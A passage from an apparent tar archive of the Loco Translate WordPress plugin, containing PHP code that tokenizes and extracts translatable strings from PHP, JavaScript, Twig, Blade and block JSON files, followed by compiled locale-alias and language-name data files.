$n ){ $s = $text[0]; $match = [ mb_convert_encoding($s,'UTF-8','cp1252') ]; } $s = (string) $match[0]; $t = self::T_UNKNOWN; } $length = strlen($s); if( 0 === $length ){ throw new Loco_error_ParseException('Failed to match anything'); } $offset += $length; $lines = preg_split('/\\r?\\n/',$s); $nlines = count($lines); if( $nlines > 1 ){ $next_line = $line + ( $nlines - 1 ); $next_column = strlen( end($lines) ); } else { $next_line = $line; $next_column = $column + $length; } if( array_key_exists($t,$this->skip) ){ $line = $next_line; $column = $next_column; continue; } $tok = self::T_LITERAL === $t ? $s : [ $t, $s, $line, $column ]; $line = $next_line; $column = $next_column; $this->len++; break; } $this->tok = $tok; $this->pos = $offset; $this->col = $column; $this->line = $line; } #[ReturnTypeWillChange] public function key() { return $this->len ? $this->len-1 : null; } #[ReturnTypeWillChange] public function valid() { return null !== $this->tok; } #[ReturnTypeWillChange] public function rewind() { $this->len = 0; $this->pos = 0; $this->col = 0; $this->line = 1; $this->max = strlen($this->src) - 1; $this->next(); } } function loco_utf8_chr( $u ){ if( $u < 0x80 ){ if( $u < 0 ){ throw new RangeException( sprintf('%d is out of Unicode range', $u ) ); } return chr($u); } if( $u < 0x800 ) { return chr( ($u>>6) & 0x1F | 0xC0 ).chr( $u & 0x3F | 0x80 ); } if( $u < 0x10000 ) { return chr( $u>>12 & 15 | 0xE0 ).chr( $u>>6 & 0x3F | 0x80 ).chr( $u & 0x3F | 0x80 ); } if( $u < 0x110000 ) { return chr( $u>>18 & 7 | 0xF0 ).chr( $u>>12 & 0x3F | 0x80 ).chr( $u>>6 & 0x3F | 0x80 ).chr( $u & 0x3F | 0x80 ); } throw new RangeException( sprintf('\\x%X is out of Unicode range', $u ) ); } function loco_resolve_surrogates( $s ){ return preg_replace_callback('/\\xED([\\xA0-\\xAF])([\\x80-\\xBF])\\xED([\\xB0-\\xBF])([\\x80-\\xBF])/', '_loco_resolve_surrogates', $s ); } function _loco_resolve_surrogates( array $r ){ return loco_utf8_chr ( ( ( ( ( 832 | ( ord($r[1]) & 0x3F ) ) << 6 ) | ( ord($r[2]) & 0x3F ) ) - 0xD800 ) * 0x400 + ( ( ( ( 832 | ( ord($r[3]) & 0x3F ) ) << 6 ) | ( ord($r[4]) & 0x3F ) ) - 0xDC00 ) + 0x10000 ); } class LocoEscapeParser { private $map; private $grep; public function __construct( array $map = [] ){ $this->map = $map; $rules = ['\\\\']; if( $map ){ $rules[] = '['.implode(array_keys($map)).']'; } if( ! isset($map['U']) ) { $rules[] = 'U[0-9A-Fa-f]{5,8}'; } if( ! isset($map['u']) ) { $rules[] = 'u(?:\\{[0-9A-Fa-f]+\\}|[0-9A-Fa-f]{1,4})(?:\\\\u(?:\\{[0-9A-Fa-f]+\\}|[0-9A-Fa-f]{1,4}))*'; } $this->grep = '/\\\\('.implode('|',$rules).')/'; } final public function unescape( $s ) { if( '' !== $s ) { return $this->stripSlashes( preg_replace_callback($this->grep, [$this, 'unescapeMatch'], $s) ); } return ''; } final public function unescapeMatch( array $r ) { $s = $r[0]; $c = $s[1]; if( isset($this->map[$c]) ){ return $this->map[$c]; } if( 'u' === $c ){ $str = ''; $surrogates = false; foreach( explode('\\u',$s) as $i => $h ){ if( '' !== $h ){ $h = ltrim( trim($h,'{}'),'0'); $u = intval($h,16); $str.= loco_utf8_chr($u); if( ! $surrogates ){ $surrogates = $u >= 0xD800 && $u <= 0xDBFF; } } } if( $surrogates ){ $str = loco_resolve_surrogates($str); } return $str; } if( 'U' === $c ){ return loco_utf8_chr( intval(substr($s,2),16) ); } if( 'x' === $c ){ return chr( intval(substr($s,2),16) ); } if( ctype_digit($c) ){ return chr( intval(substr($s,1),8) ); } return $s; } protected function stripSlashes( $s ) { return stripcslashes($s); } } class LocoJsTokens extends LocoTokenizer { const T_KWORD = 1; const T_REGEX = 2; private static $lex = null; protected static $words = [ 'true' => 1, 'false' => 1, 'null' => 1, 'break' => T_BREAK, 'else' => T_ELSE, 'new' => T_NEW, 'var' => 1, 'case' => T_CASE, 'finally' => T_FINALLY, 'return' => T_RETURN, 'void' => 1, 'catch' => T_CATCH, 'for' => T_FOR, 'switch' => T_SWITCH, 'while' => T_WHILE, 'continue' => T_CONTINUE, 'function' => T_FUNCTION, 'this' => T_STRING, 'with' => 1, 'default' => T_DEFAULT, 'if' => T_IF, 'throw' => T_THROW, 'delete' => 1, 'in' => 1, 'try' => T_TRY, 'do' => T_DO, 'instanceof' => 1, 'typeof' => 1, ]; public static function decapse( $encapsed ) { $s = substr($encapsed,1,-1); $l = self::$lex; if( is_null($l) ){ $l = new LocoEscapeParser( [ 'U' => 'U', 'a' => 'a', ] ); self::$lex = $l; } return $l->unescape($s); } public function __construct( $src = '' ){ $this->ignore(T_WHITESPACE); $this->define('/^(?:\\\\u[0-9A-F]{4,4}|[$_\\pL\\p{Nl}])(?:\\\\u[0-9A-F]{4}|[$_\\pL\\pN\\p{Mn}\\p{Mc}\\p{Pc}])*/ui', [$this,'matchWord'] ); $this->define('/^\\s+/u', T_WHITESPACE ); $this->define('!^//.*!', T_COMMENT ); $this->define('!^/\\*.*\\*/!Us', [$this,'matchComment'] ); $this->define('/^"(?:\\\\.|[^\\r\\n\\p{Zl}\\p{Zp}"\\\\])*"/u', T_CONSTANT_ENCAPSED_STRING ); $this->define('/^\'(?:\\\\.|[^\\r\\n\\p{Zl}\\p{Zp}\'\\\\])*\'/u', T_CONSTANT_ENCAPSED_STRING ); $this->define('/^[-+;,<>.=:|&^!?*%~(){}[\\]]/'); parent::__construct($src); } public function matchWord( $s ) { if( array_key_exists($s,self::$words) ){ return self::$words[$s]; } return T_STRING; } public function matchComment( $s ) { if( substr($s,0,3) === '/**' ){ return T_DOC_COMMENT; } return T_COMMENT; } } interface LocoExtractorInterface { public function setDomain( $default ); public function tokenize( $src ); public function extract( LocoExtracted $strings, LocoTokensInterface $tokens, $fileref = '' ); public function extractSource( $src, $fileref ); } class LocoExtracted implements Countable { private $exp = []; private $reg = []; private $dom = []; private $dflt = ''; public function extractSource( LocoExtractorInterface $ext, $src, $fileref = '' ) { $ext->extract( $this, $ext->tokenize($src), $fileref ); return $this; } public function export() { return $this->exp; } #[ReturnTypeWillChange] public function count() { return count( $this->exp ); } public function getDomainCounts() { return $this->dom; } public function setDomain( $default ) { $this->dflt = $default; return $this; } public function getDomain() { return $this->dflt; } private function key( array $entry ) { $key = (string) $entry['source']; foreach( ['context','domain'] as $i => $prop ){ if( array_key_exists($prop,$entry) ) { $add = (string) $entry[$prop]; if( '' !== $add ){ $key .= ord($i).$add; } } } return $key; } public function pushEntry( array $entry, $domain ) { if( '' === $domain || '*' === $domain ){ $domain = $this->dflt; } $entry['id'] = ''; $entry['target'] = ''; $entry['domain'] = $domain; $key = $this->key($entry); if( isset($this->reg[$key]) ){ $index = $this->reg[$key]; $clash = $this->exp[$index]; if( $value = $this->mergeField( $clash, $entry, 'refs', ' ') ){ $this->exp[$index]['refs'] = $value; } if( $value = $this->mergeField( $clash, $entry, 'notes', "\n") ){ $this->exp[$index]['notes'] = $value; } } else { $index = count($this->exp); $this->reg[$key] = $index; $this->exp[$index] = $entry; if( isset($this->dom[$domain]) ){ $this->dom[$domain]++; } else { $this->dom[$domain] = 1; } } return $index; } public function pushPlural( array $entry, $sindex ) { $parent = $this->exp[$sindex]; $domain = $parent['domain']; $pkey = $this->key($parent)."\2"; if( ! array_key_exists($pkey,$this->reg) ){ $pindex = count($this->exp); $this->reg[$pkey] = $pindex; $entry += [ 'id' => '', 'target' => '', 'plural' => 1, 'parent' => $sindex, 'domain' => $domain, ]; $this->exp[$pindex] = $entry; if( isset($entry['format']) && ! isset( $parent['format']) ) { $this->exp[$sindex]['format'] = $entry['format']; } if( $pindex !== $sindex + $entry['plural']) { $this->exp[$sindex]['child'] = $pindex; } } } public function mergeField( array $old, array $new, $field, $glue ) { $prev = isset($old[$field]) ? $old[$field] : ''; if( isset($new[$field]) ){ $text = $new[$field]; if( '' !== $prev && $prev !== $text ){ if( 'notes' === $field && preg_match( '/^'.preg_quote( rtrim($text,'. '),'/').'[. ]*$/mu', $prev ) ) { $text = $prev; } else { $text = $prev.$glue.$text; } } return $text; } return $prev; } public function filter( $domain ) { if( '' === $domain ){ $domain = $this->dflt; } $map = []; $newOffset = 1; $matchAll = '*' === $domain; $raw = [ [ 'id' => '', 'source' => '', 'target' => '', 'domain' => $matchAll ? '' : $domain, ] ]; foreach( $this->exp as $oldOffset => $r ){ if( isset($r['parent']) ){ if( isset($map[$r['parent']]) ){ $r['parent'] = $map[ $r['parent'] ]; $raw[ $newOffset++ ] = $r; } } else { if( $matchAll ){ $match = true; } else if( isset($r['domain']) ){ $match = $domain === $r['domain']; } else { $match = $domain === ''; } if( $match ){ $map[ $oldOffset ] = $newOffset; $raw[ $newOffset++ ] = $r; } } } return $raw; } } abstract class LocoExtractor implements LocoExtractorInterface { private $rules; private $wp = []; private $domain = ''; abstract protected function fsniff( $str ); abstract protected function decapse( $raw ); abstract protected function comment( $comment ); public function __construct( array $rules ){ $this->rules = $rules; } public function setDomain( $default ) { $this->domain = $default; return $this; } public function headerize( array $tags, $domain = '' ) { if( isset($this->wp[$domain]) ){ $this->wp[$domain] += $tags; } else { $this->wp[$domain] = $tags; } return $this; } protected function getHeaders() { return $this->wp; } final public function extractSource( $src, $fileref ) { $strings = new LocoExtracted; $this->extract( $strings, $this->tokenize($src), $fileref ); return $strings; } public function rule( $keyword ) { return isset($this->rules[$keyword]) ? $this->rules[$keyword] : ''; } protected function push( LocoExtracted $strings, $rule, array $args, $comment = '', $ref = '' ) { $s = strpos( $rule, 's'); $p = strpos( $rule, 'p'); $c = strpos( $rule, 'c'); $d = strpos( $rule, 'd'); if( false === $s || ! isset($args[$s]) ){ return null; } $msgid = $args[$s]; if( ! is_string($msgid) ){ return null; } $entry = [ 'source' => $msgid, ]; if( is_int($c) && isset($args[$c]) ){ $entry['context'] = $args[$c]; } else if( '' === $msgid ){ return null; } if( $ref ){ $entry['refs'] = $ref; } if( is_int($d) && array_key_exists($d,$args) ){ $domain = $args[$d]; if( is_null($domain) ){ $domain = ''; } } else if( '' === $this->domain ) { $domain = $strings->getDomain(); } else { $domain = $this->domain; } $format = ''; $comment = $this->comment($comment); if( '' !== $comment ){ if( preg_match('/^xgettext:\\s*([-a-z]+)-format\\s*/mi', $comment, $r, PREG_OFFSET_CAPTURE ) ){ $format = $r[1][0]; $entry['format'] = $format; $comment = trim( substr_replace( $comment,'', $r[0][1], strlen($r[0][0]) ) ); } if( preg_match('/^references?:( *.+:\\d+)*\\s*/mi', $comment, $r, PREG_OFFSET_CAPTURE ) ){ $entry['refs'] = trim($r[1][0],' '); $comment = trim( substr_replace( $comment, '', $r[0][1], strlen($r[0][0]) ) ); } $entry['notes'] = $comment; } $msgid_plural = is_int($p) && isset($args[$p]) ? $args[$p] : ''; if( '' === $format ){ $format = $this->fsniff($msgid); if( '' !== $format ){ $entry['format'] = $format; } else if( '' !== $msgid_plural ){ $format = $this->fsniff($msgid_plural); if( '' !== $format ){ $entry['format'] = $format; } } } $index = $strings->pushEntry($entry,$domain); if( '' !== $msgid_plural ){ $entry = [ 'source' => $msgid_plural, ]; if( '' !== $format ) { $entry['format'] = $format; } $strings->pushPlural($entry,$index); } return $index; } protected function utf8( $str ) { if( false === preg_match('//u',$str) ){ $str = mb_convert_encoding( $str, 'UTF-8', 'cp1252' ); } return $str; } } class LocoPHPTokens implements LocoTokensInterface, Countable { private $i = null; private $tokens; private $skip_tokens; private $literal_tokens; public function __construct( array $tokens ){ $this->tokens = $tokens; $this->reset(); } public function reset() { $this->rewind(); $this->literal_tokens = []; $this->skip_tokens = []; } public function literal( ...$symbols ) { $this->literal_tokens += array_fill_keys($symbols,true); return $this; } public function ignore( ...$symbols ) { $this->skip_tokens += array_fill_keys($symbols,true); return $this; } public function export() { return array_values( iterator_to_array($this) ); } public function advance() { if( $this->valid() ){ $tok = $this->current(); $this->next(); return $tok; } return null; } #[ReturnTypeWillChange] public function rewind() { $this->i = ( false === reset($this->tokens) ? null : key($this->tokens) ); } #[ReturnTypeWillChange] public function valid() { while( is_int($this->i) ){ $tok = $this->tokens[$this->i]; if( array_key_exists( is_array($tok)?$tok[0]:$tok, $this->skip_tokens ) ){ $this->next(); } else { return true; } } return false; } #[ReturnTypeWillChange] public function key() { return $this->i; } #[ReturnTypeWillChange] public function next() { $this->i = ( false === next($this->tokens) ? null : key($this->tokens) ); } #[ReturnTypeWillChange] public function current() { $tok = $this->tokens[$this->i]; if( is_array($tok) && isset($this->literal_tokens[$tok[0]]) ){ return $tok[1]; } return $tok; } public function __toString() { $s = []; foreach( $this as $token ){ $s[] = is_array($token) ? $token[1] : $token; } return implode('',$s); } #[ReturnTypeWillChange] public function count() { return count($this->tokens); } } class LocoPHPEscapeParser extends LocoEscapeParser { public function __construct(){ parent::__construct( [ 'n' => "\n", 'r' => "\r", 't' => "\t", 'v' => "\x0B", 'f' => "\x0C", 'e' => "\x1B", '$' => '$', '\\' => '\\', '"' => '"', ] ); } protected function stripSlashes( $s ) { return preg_replace_callback('/\\\\(x[0-9A-Fa-f]{1,2}|[0-3]?[0-7]{1,2})/', [$this,'unescapeMatch'], $s, -1, $n ); } } function loco_unescape_php_string( $s ) { static $l; if( is_null($l) ) { $l = new LocoPHPEscapeParser; } return $l->unescape($s); } function loco_decapse_php_string( $s ) { if( '' === $s ){ return ''; } $q = $s[0]; if( "'" === $q ){ return str_replace( ['\\'.$q, '\\\\'], [$q, '\\'], substr( $s, 1, -1 ) ); } if( '"' !== $q ){ return $s; } return loco_unescape_php_string( substr($s,1,-1) ); } function loco_parse_php_comment( $comment ) { $comment = trim( $comment,"/ \n\r\t" ); if( '' !== $comment && '*' === $comment[0] ){ $lines = []; $junk = "\r\t/ *"; foreach( explode("\n",$comment) as $line ){ $line = trim($line,$junk); if( '' !== $line ){ $lines[] = $line; } } $comment = implode("\n", $lines); } return $comment; } function loco_parse_wp_comment( $block ) { $header = []; if( '/*' === substr($block,0,2) ){ $junk = "\r\t/ *"; foreach( explode("\n", $block) as $line ){ if( false !== ( $i = strpos($line,':') ) ){ $key = substr($line,0,$i); $val = substr($line,++$i); $header[ trim($key,$junk) ] = trim($val,$junk); } } } return $header; } class LocoPHPExtractor extends LocoExtractor { private $defs = []; public function tokenize( $src ) { return new LocoPHPTokens( token_get_all($src) ); } public function decapse( $raw ) { return loco_decapse_php_string( $raw ); } public function fsniff( $str ) { $format = ''; $offset = 0; while( preg_match('/%(?:[1-9]\\d*\\$)?(?:\'.|[-+0 ])*\\d*(?:\\.\\d+)?(.|$)/',$str,$r,PREG_OFFSET_CAPTURE,$offset) ){ $type = $r[1][0]; list($match,$offset) = $r[0]; if( '%' === $type && '%%' !== $match ){ return ''; } if( '' === $type || ! preg_match('/^[bcdeEfFgGosuxX%]/',$type) ){ return ''; } $offset += strlen($match); if( preg_match('/^% +[a-z]/i',$match) || preg_match('/^%[b-ou-x]/i',$match) ){ continue; } $format = 'php'; } return $format; } protected function comment( $comment ) { return preg_replace('/^translators:\\s+/mi', '', loco_parse_php_comment($comment) ); } public function define( $name, $value ) { $this->defs[$name] = $value; return $this; } public function extract( LocoExtracted $strings, LocoTokensInterface $tokens, $fileref = '' ) { $tokens->ignore(T_WHITESPACE); $n = 0; $depth = 0; $comment = ''; $narg = 0; $args = []; $ref = ''; $rule = ''; $wp = $this->getHeaders(); $tokens->rewind(); while( $tok = $tokens->advance() ){ if( is_string($tok) ){ $s = $tok; $t = null; } else { $t = $tok[0]; $s = $tok[1]; } if( $depth ){ if( ')' === $s || ']' === $s ){ if( 0 === --$depth ){ if( $this->push( $strings, $rule, $args, $comment, $ref ) ){ $n++; } $comment = ''; } } else if( '(' === $s || '[' === $s ){ $depth++; $args[$narg] = null; } else if( 1 === $depth ){ if( ',' === $s ){ $narg++; } else if( T_CONSTANT_ENCAPSED_STRING === $t ){ $s = self::utf8($s); $args[$narg] = $this->decapse($s); } else if( T_STRING === $t && array_key_exists($s,$this->defs) ){ $args[$narg] = $this->defs[$s]; } else { $args[$narg] = null; } } } else if( T_COMMENT === $t || T_DOC_COMMENT === $t ){ $was_header = false; $s = self::utf8($s); if( 0 === $n ){ if( false !== strpos($s,'* @package') ){ $was_header = true; } if( $wp && ( $header = loco_parse_wp_comment($s) ) ){ foreach( $wp as $domain => $tags ){ foreach( array_intersect_key($header,$tags) as $tag => $text ){ $ref = $fileref ? $fileref.':'.$tok[2]: ''; $meta = $tags[$tag]; if( is_string($meta) ){ $meta = ['notes'=>$meta]; trigger_error( $tag.' header defaulted to "notes"',E_USER_DEPRECATED); } $strings->pushEntry( ['source'=>$text,'refs'=>$ref] + $meta, (string) $domain ); $was_header = true; } } } } if( ! $was_header ) { $comment = $s; } } else if( T_STRING === $t && '(' === $tokens->advance() && ( $rule = $this->rule($s) ) ){ $ref = $fileref ? $fileref.':'.$tok[2]: ''; $depth = 1; $args = []; $narg = 0; } else if( '' !== $comment && ! preg_match('!^[/* ]+(translators|xgettext):!im',$comment) ){ $comment = ''; } } } } class LocoJsExtractor extends LocoPHPExtractor { public function tokenize( $src ) { return new LocoJsTokens($src); } public function fsniff( $str ) { return parent::fsniff($str) ? 'javascript' : ''; } public function decapse( $raw ) { return LocoJsTokens::decapse($raw); } } class LocoTwigExtractor extends LocoPHPExtractor { public function tokenize( $src ) { return parent::tokenize( '<?php '.preg_replace('/{#([^#]+)#}/su','/*\\1*/',$src) ); } } class LocoBladeExtractor extends LocoPHPExtractor { public function tokenize( $src ) { return parent::tokenize( '<?php '.preg_replace('/{{--(.+)--}}/su','/*\\1*/',$src) ); } } class LocoWpJsonExtractor implements LocoExtractorInterface { private static $types = []; private $base = '.'; private $domain = ''; public function __construct() { if( defined('ABSPATH') ){ $this->setBase( rtrim(ABSPATH,'/').'/wp-includes' ); } } public function setBase( $path ) { $this->base = $path; } private function getType( $type ) { if( array_key_exists($type,self::$types) ){ return self::$types[$type]; } $path = $this->base.'/'.$type.'-i18n.json'; if ( ! file_exists($path) ) { throw new Exception( basename($path).' not found in '.$this->base ); } return json_decode( file_get_contents($path) ); } public function tokenize( $src ) { $raw = json_decode($src,true); if( ! is_array($raw) || ! array_key_exists('$schema',$raw) ){ throw new InvalidArgumentException('Invalid JSON'); } if( ! preg_match('!^https?://schemas.wp.org/trunk/(block|theme)\\.json!', $raw['$schema'], $r ) ){ throw new InvalidArgumentException('Unsupported schema'); } if( '' === $this->domain && array_key_exists('textdomain',$raw) ){ $this->domain = $raw['textdomain']; } return new LocoWpJsonStrings( $raw, $this->getType($r[1]) ); } public function setDomain( $default ) { $this->domain = $default; return $this; } public function extract( LocoExtracted $strings, LocoTokensInterface $tokens, $fileref = '' ) { if( ! preg_match('/:\\d+$/',$fileref) ){ $fileref.=':1'; } $tokens->rewind(); while( $tok = $tokens->advance() ){ $tok['refs'] = $fileref; $strings->pushEntry( $tok, $this->domain ); } } final public function extractSource( $src, $fileref ) { $strings = new LocoExtracted; $this->extract( $strings, $this->tokenize($src), $fileref ); return $strings; } } class LocoWpJsonStrings extends ArrayIterator implements LocoTokensInterface { public function __construct( array $raw, stdClass $tpl ){ parent::__construct(); $this->walk( $tpl, $raw ); } public function advance() { $tok = $this->current(); $this->next(); return $tok; } public function ignore( ...$symbols ) { return $this; } private function walk( $tpl, $raw ) { if( is_string($tpl) && is_string($raw) ) { $this->offsetSet( null, [ 'context' => $tpl, 'source' => $raw, ] ); return; } if( is_array($tpl) && is_array($raw) ) { foreach ( $raw as $value ) { self::walk( $tpl[0], $value ); } } else if( is_object($tpl) && is_array($raw) ) { $group_key = '*'; foreach ( $raw as $key => $value ) { if ( isset($tpl->$key) ) { $this->walk( $tpl->$key, $value ); } else if ( isset($tpl->$group_key) ) { $this->walk( $tpl->$group_key, $value ); } } } } } function loco_wp_extractor( $type = 'php', $ext = '' ) { if( 'json' === $type ){ return new LocoWpJsonExtractor; } static $rules = [ '__' => 'sd', '_e' => 'sd', '_c' => 'sd', '_n' => 'sp_d', '_n_noop' => 'spd', '_nc' => 'sp_d', '__ngettext' => 'spd', '__ngettext_noop' => 'spd', '_x' => 'scd', '_ex' => 'scd', '_nx' => 'sp_cd', '_nx_noop' => 'spcd', 'esc_attr__' => 'sd', 'esc_html__' => 'sd', 'esc_attr_e' => 'sd', 'esc_html_e' => 'sd', 'esc_attr_x' => 'scd', 'esc_html_x' => 'scd', ]; if( 'php' === $type ){ return substr($ext,-9) === 'blade.php' ? new LocoBladeExtractor($rules) : new LocoPHPExtractor($rules); } if( 'js' === $type ){ return new LocoJsExtractor($rules); } if( 'twig' === $type ){ return new LocoTwigExtractor($rules); } throw new InvalidArgumentException('No extractor for '.$type); } function loco_string_percent( $n, $t ) { if( ! $t || ! $n ){ return '0'; } if( $t === $n ){ return '100'; } $dp = 0; $n = 100 * $n / $t; if( $n > 99 ){ return number_format( min( $n, 99.9 ), ++$dp ); } if( $n < 0.5 ){ $n = max( $n, 0.0001 ); do { $s = number_format( $n, ++$dp ); } while( preg_match('/^0\\.0+$/',$s) && $dp < 4 ); return substr($s,1); } return number_format( $n, $dp ); } function loco_print_progress( $translated, $untranslated, $flagged ) { $total = $translated + $untranslated; $complete = loco_string_percent( $translated - $flagged, $total ); $class = 'progress'; if( ! $translated && ! $flagged ){ $class .= ' empty'; } else if( '100' === $complete ){ $class .= ' done'; } echo '<div class="',$class,'"><div class="t">'; if( $flagged ){ $s = loco_string_percent( $flagged, $total ); echo '<div class="bar f" style="width:',$s,'%"> </div>'; } if( '0' === $complete ){ echo ' '; } else { $class = 'bar p'; $p = (int) $complete; $class .= sprintf(' p-%u', 10*floor($p/10) ); $style = 'width:'.$complete.'%'; if( $flagged ){ $remain = 100.0 - (float) $s; $style .= '; max-width: '.sprintf('%s',$remain).'%'; } echo '<div class="',$class,'" style="'.$style.'"> </div>'; } echo '</div><div class="l">',$complete,'%</div></div>'; } class LocoFuzzyMatcher implements Countable { private $pot = []; private $po = []; private $diff = []; private $dmax = .20; #[ReturnTypeWillChange] public function count() { return count($this->pot); } public function unmatched() { return array_values($this->pot); } public function redundant() { return array_values($this->po); } public function setFuzziness( $s ) { if( $this->po ){ throw new LogicException('Cannot setFuzziness() after calling match()'); } $this->dmax = (float) max( 0, min( (int) $s, 100 ) ) / 100; } public function add( $a ) { $source = isset($a['source']) ? (string) $a['source'] : ''; $context = isset($a['context']) ? (string) $a['context'] : ''; $key = $source."\4".$context; $this->pot[$key] = $a; } private function key( $a ) { $source = isset($a['source']) ? (string) $a['source'] : ''; $context = isset($a['context']) ? (string) $a['context'] : ''; return $source."\4".$context; } protected function getRef( $a ) { $key = $this->key($a); return array_key_exists($key,$this->pot) ? $this->pot[$key] : null; } public function match( $a ) { $old = $this->key($a); if( isset($this->pot[$old]) ){ $new = $this->pot[$old]; unset($this->pot[$old]); return $new; } $this->po[$old] = $a; $target = isset($a['target']) ? (string) $a['target'] : ''; $comment = isset($a['comment']) ? (string) $a['comment'] : ''; if( '' === $target && '' === $comment ){ return null; } if( 0 < $this->dmax ){ foreach( $this->pot as $new => $_ ){ $dist = $this->distance($old,$new); if( -1 !== $dist ){ $this->diff[] = [ $old, $new, $dist ]; } } } return null; } private function distance( $a, $b ) { $a = strtolower($a); $b = strtolower($b); if( $a === $b ){ return 0; } $lenA = strlen($a); $lenB = strlen($b); $lenDiff = abs($lenA-$lenB); $max = min($lenA,$lenB) + $lenDiff; $max = (int) ceil( $this->dmax * $max ); if( $max < $lenDiff ) { return -1; } $len = max($lenA,$lenB); if( $len < 256 ){ $d = levenshtein($a,$b); return $d > $max ? -1 : $d; } $d = 0; for( $i = 0; $i < $len; $i+=$max ){ $aa = substr($a,$i,$max); $bb = substr($b,$i,$max); $d += levenshtein($aa,$bb); if( $d > $max ){ return -1; } } return $d; } public function getFuzzyMatches() { $pairs = []; usort( $this->diff, [__CLASS__,'compareDistance'] ); foreach( $this->diff as $pair ){ list($old,$new) = $pair; if( ! array_key_exists($new,$this->pot) || ! array_key_exists($old,$this->po) ){ continue; } $pairs[] = [ $this->po[$old], $this->pot[$new], ]; unset($this->po[$old]); unset($this->pot[$new]); if( ! $this->po || ! $this->pot ){ break; } } $this->diff = []; return $pairs; } private static function compareDistance( array $a, array $b ) { return $a[2] - $b[2]; } } defined('T_FINALLY') || define('T_FINALLY',500); if( function_exists('loco_check_extension') ) { loco_check_extension('mbstring'); } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������data/gp.php�����������������������������������������������������������������������������������������0000644�����������������00000001603�14720677220�0006603 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Compiled data. Do not edit. */ return ['version'=>'4.0.0','aliases'=>['arg'=>'an','bg-bg'=>'bg','bn-bd'=>'bn','bre'=>'br','bs-ba'=>'bs','ca-valencia'=>'ca-val','cs-cz'=>'cs','da-dk'=>'da','de-de'=>'de','ewe'=>'ee','en-us'=>'en','es-es'=>'es','fa-ir'=>'fa','fr-fr'=>'fr','gl-es'=>'gl','haw-us'=>'haw','he-il'=>'he','hi-in'=>'hi','hu-hu'=>'hu','id-id'=>'id','is-is'=>'is','it-it'=>'it','jv-id'=>'jv','ka-ge'=>'ka','ko-kr'=>'ko','lb-lu'=>'lb','lt-lt'=>'lt','me-me'=>'me','mg-mg'=>'mg','mk-mk'=>'mk','ml-in'=>'ml','ms-my'=>'ms','my-mm'=>'mya','ne-np'=>'ne','nb-no'=>'nb','nl-nl'=>'nl','nn-no'=>'nn','pa-in'=>'pa','art-xpirate'=>'pirate','pl-pl'=>'pl','pt-pt'=>'pt','pt-pt-ao90'=>'pt-ao90','ro-ro'=>'ro','ru-ru'=>'ru','si-lk'=>'si','sk-sk'=>'sk','sl-si'=>'sl','so-so'=>'so','sr-rs'=>'sr','su-id'=>'su','sv-se'=>'sv','ta-in'=>'ta','tr-tr'=>'tr','tt-ru'=>'tt','ug-cn'=>'ug','uz-uz'=>'uz']]; �����������������������������������������������������������������������������������������������������������������������������data/languages.php����������������������������������������������������������������������������������0000644�����������������00000007612�14720677220�0010151 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Compiled data. Do not edit. */ return ['aa'=>'Afar','ab'=>'Abkhazian','ae'=>'Avestan','af'=>'Afrikaans','ak'=>'Akan','am'=>'Amharic','an'=>'Aragonese','ar'=>'Arabic','arq'=>'Algerian Arabic','ary'=>'Moroccan Arabic','as'=>'Assamese','ast'=>'Asturian','av'=>'Avaric','ay'=>'Aymara','az'=>'Azerbaijani','azb'=>'South Azerbaijani','ba'=>'Bashkir','bal'=>'Baluchi','bcc'=>'Southern Balochi','be'=>'Belarusian','bg'=>'Bulgarian','bgn'=>'Western Balochi','bho'=>'Bhojpuri','bi'=>'Bislama','bm'=>'Bambara','bn'=>'Bengali','bo'=>'Tibetan','br'=>'Breton','brx'=>'Bodo (India)','bs'=>'Bosnian','ca'=>'Catalan','ce'=>'Chechen','ceb'=>'Cebuano','ch'=>'Chamorro','ckb'=>'Central Kurdish','co'=>'Corsican','cr'=>'Cree','cs'=>'Czech','cu'=>'Church Slavic','cv'=>'Chuvash','cy'=>'Welsh','da'=>'Danish','de'=>'German','dsb'=>'Lower Sorbian','dv'=>'Dhivehi','dz'=>'Dzongkha','ee'=>'Ewe','el'=>'Greek','en'=>'English','eo'=>'Esperanto','es'=>'Spanish','et'=>'Estonian','eu'=>'Basque','fa'=>'Persian','ff'=>'Fulah','fi'=>'Finnish','fj'=>'Fijian','fo'=>'Faroese','fon'=>'Fon','fr'=>'French','frp'=>'Arpitan','fuc'=>'Pulaar','fur'=>'Friulian','fy'=>'Western Frisian','ga'=>'Irish','gax'=>'Borana-Arsi-Guji Oromo','gd'=>'Scottish Gaelic','gl'=>'Galician','gn'=>'Guarani','gu'=>'Gujarati','gv'=>'Manx','ha'=>'Hausa','haw'=>'Hawaiian','haz'=>'Hazaragi','he'=>'Hebrew','hi'=>'Hindi','ho'=>'Hiri Motu','hr'=>'Croatian','hsb'=>'Upper Sorbian','ht'=>'Haitian','hu'=>'Hungarian','hy'=>'Armenian','hz'=>'Herero','ia'=>'Interlingua','id'=>'Indonesian','ie'=>'Interlingue','ig'=>'Igbo','ii'=>'Sichuan Yi','ik'=>'Inupiaq','io'=>'Ido','is'=>'Icelandic','it'=>'Italian','iu'=>'Inuktitut','ja'=>'Japanese','jv'=>'Javanese','ka'=>'Georgian','kaa'=>'Kara-Kalpak','kab'=>'Kabyle','kg'=>'Kongo','ki'=>'Kikuyu','kj'=>'Kuanyama','kk'=>'Kazakh','kl'=>'Kalaallisut','km'=>'Central Khmer','kmr'=>'Northern Kurdish','kn'=>'Kannada','ko'=>'Korean','kr'=>'Kanuri','ks'=>'Kashmiri','ku'=>'Kurdish','kv'=>'Komi','kw'=>'Cornish','ky'=>'Kirghiz','la'=>'Latin','lb'=>'Luxembourgish','lg'=>'Ganda','li'=>'Limburgan','lij'=>'Ligurian','lmo'=>'Lombard','ln'=>'Lingala','lo'=>'Lao','lt'=>'Lithuanian','lu'=>'Luba-Katanga','lv'=>'Latvian','mai'=>'Maithili','mfe'=>'Morisyen','mg'=>'Malagasy','mh'=>'Marshallese','mi'=>'Maori','mk'=>'Macedonian','ml'=>'Malayalam','mn'=>'Mongolian','mr'=>'Marathi','ms'=>'Malay','mt'=>'Maltese','my'=>'Burmese','na'=>'Nauru','nb'=>'Norwegian Bokmål','nd'=>'North Ndebele','ne'=>'Nepali','ng'=>'Ndonga','nl'=>'Dutch','nn'=>'Norwegian 